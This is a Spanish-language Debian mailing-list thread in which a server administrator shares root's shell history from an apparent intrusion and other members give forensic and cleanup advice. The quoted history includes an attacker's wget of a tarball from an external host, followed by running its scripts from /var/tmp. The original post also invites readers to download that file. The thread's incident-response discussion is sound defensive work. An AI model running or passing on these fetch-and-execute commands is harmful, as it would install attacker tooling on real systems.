Re: Posible intrusión un server
El 13/06/11 05:36, Juan Lavieri escribió:
> Hola Juan Antonio.
>
> El 12/06/11 14:27, Juan Antonio escribió:
>> El 13/05/11 17:39, ciracusa escribió:
>>> Lista, buenas tardes.
>>>
>>> Perdón si este tema no esta directamente relacionado con Debian, pero
>>> como el server en cuestión tiene Squeeze y es un tema de seguridad creo
>>> que puede interesarles a mas de uno.
>>>
>>> Ayer viendo el history de root de un servidor veo lo siguiente:
>
> ^
> |
> |
> |
>
> Tocayo, parece que no leíste lo que dice arriba.
>
> Si es un history de root pareciera obvio que los comandos fueron
> emitidos por el usuario root.
>
>
>
>>>
>>> 314 ./go.sh 189
>>> 315 w
>>> 316 cd
>>> 317 cd /var/tmp/
>>> 318 rm -rf gosh
>>> 319 ls -a
>>> 320 exit
>>> 321 cat /proc/cpuinfo
>>> 322 passwd
>>> 323 cd /var/tmp/
>>> 324 cd gosh
>>> 325 touch bios.txt
>>> 326 chmod +x *
>>> 327 screen
>>> 328 exit
>>> 329 cat /proc/cpuinfo
>>> 330 cd /var/tmp/
>>> 331 ls -a
>>> 332 wget http://gblteam.webs.com/gosh.tgz.tar
>>> 333 tar zxvf gosh.tgz.tar
>>> 334 rm -rf gosh.tgz.tar
>>> 335 cd gosh
>>> 336 touch bios.txt
>>> 337 chmod +x *
>>> 338 ./go.sh 200
>>> 339 cd
>>> 340 cd /var/tmp/
>>> 341 ls -a
>>> 342 rm -rf gosh
>>> 343 ls -a
>>> 344 exit
>>> 345 cd /var/tmp/
>>> 346 perl x.pl
>>>
>>>
>>> Que opinan?
>>>
>>> Entiendo -lamentablemente- que el server fue comprometido, pero lo que
>>> no llego a comprender es el alcance de esto.
>>>
>>> Notar que puse el link para que puedan descargarlo uds. también y
>>> analizarlo (tomando las precauciones del caso).
>>>
>>> Bueno, si alguien tiene algo de info muy agradecido.
>>>
>>> Y si pueden recomendarme algunos pasos para analizar la seguridad del
>>> server desde ya muchas gracias.
>>>
>>> Salu2.
>>>
>>>
>>
>> El tipo trabaja en /var/tmp asi que probablemente sea porque no tiene
>> acceso como superusuario.
> Tal vez trabajó en var temp porque **NO ES** el primer sitio donde
> alguien comenzara a buscar; esto le dará tiempo para esconderse.
>
>> Haz un ls -l del archivo que subió y mira el
>> propietario, asi sabras que usuario es el que tienes comprometido. Y
>> como te han dicho revisa los log del sistema para ver como lo hicieron.
>>
>> Por otra parte, te recomiendan que reinstales sin saber si quiera el
>> alcance de la intrusión, yo no lo haría hasta estar seguro que te la
>> hayan metido hasta el fondo.
> Tu opinión es acertada, hay que averiguar hasta dónde llegaron; pero
> creo haber leído varias respuestas que le recomiendan hacer una imagen
> del sistema **para efectos forenses** y luego reinstalar.
>
> Ciertamente ese es el enfoque correcto, hacer inoperante el servidor
> comprometido (para el atacante) y luego **con tiempo** averiguar qué
> pasó y cómo hacer para que no se repita.
>
>> Usa ps, lsof, netstat y demas para ver si
>> hay procesos anómalos ejecutándose y si no tienes tripwire usa lsattr
>> para buscar atributos que no deberían tener binarios del sistema como
>> ps, lsof, netstat, etc... suelen dejarlos como inmutables para que no
>> puedas sustituirlos.
> Positivamente son herramientas excelentes; además se debe recordar
> que si se deja el servidor activo, como tu sugieres, debe estar
> aislado de la red interna y se deben resguardar los procesos vitales
> para la organización.
>>
>> Un saludo.
>>
> (+1) = 2
>
>
>
>
Tienes razón, se me escapó ese detalle. En este caso el alcance esta
claro y las opciones limitadas a una, reinstalar el sistema.
Un saludo.
Reply to: